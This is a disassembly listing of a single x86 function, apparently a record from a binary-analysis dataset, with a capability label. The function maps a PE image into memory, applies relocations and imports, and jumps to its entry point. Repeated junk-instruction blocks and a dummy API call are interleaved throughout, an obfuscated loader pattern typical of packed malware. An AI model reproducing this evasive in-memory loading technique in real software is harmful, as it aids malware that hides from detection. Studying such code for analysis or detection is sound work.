Function at 0x4565f4
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
call fcn.004050c0
lea eax, [ebp - 0x24]
mov edx, dword [0x456374]
call fcn.0040567c
xor eax, eax
push ebp
push 0x4568db
push dword fs:[eax]
mov dword fs:[eax], esp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
mov eax, dword [ebp - 0x50]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 4], eax
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
push 1
push 0x2000
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0xc], eax
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
sub edx, dword [eax + 0x34]
mov dword [ebp - 8], edx
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
mov eax, dword [ebp - 4]
lea esi, [eax + 0x18]
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x14]
add esi, eax
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
mov eax, dword [ebp - 4]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jl 0x45679c
inc edi
xor ebx, ebx
nop
nop
nop
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
nop
nop
nop
lea edx, [ebx + ebx*4]
mov edx, dword [esi + edx*8 + 0x10]
mov dword [ebp - 0x54], edx
nop
nop
nop
push 4
push 0x1000
push eax
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0xc]
add eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc_1
nop
nop
nop
mov edx, eax
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x14]
add eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x54]
call fcn.00402ed8
inc ebx
dec edi
jne 0x45674f
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
push ebp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xa0]
add eax, dword [ebp - 0xc]
call fcn.00456410
pop ecx
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
push ebp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0xc]
call fcn.00456494
pop ecx
push ebx
push 0x53
mov ebx, 0x2e0
xchg ecx, eax
imul ecx, ecx, 0x242
lea edx, [ebx + 0x134]
cmp edx, 0x51
add eax, ecx
lea edx, [edx + ecx]
mov eax, dword [ebp - 4]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jl 0x45687e
inc edi
xor ebx, ebx
lea eax, [ebp - 0x58]
push eax
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0x24]
call 0x456394
push eax
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 8]
push eax
lea eax, [ebx + ebx*4]
mov eax, dword [esi + eax*8 + 0xc]
add eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtect
inc ebx
dec edi
jne 0x456851
dec ebx
inc eax
cmp edx, 0x28
je 0x456888
imul ebx, edx
lea ebx, [edx + 0x16a]
inc eax
inc eax
push ebx
pop edx
push 0x8d1eb9e8
call sub.gdi32.dll_GetPixelFormat
push 0xc
pop eax
push 0
push 1
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 0x20]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4568e2
lea eax, [ebp - 0x48]
call fcn.00404c0c
lea eax, [ebp - 0x40]
mov edx, 3
call fcn.00404c30
lea eax, [ebp - 0x24]
mov edx, dword [0x456374]
call fcn.0040574c
ret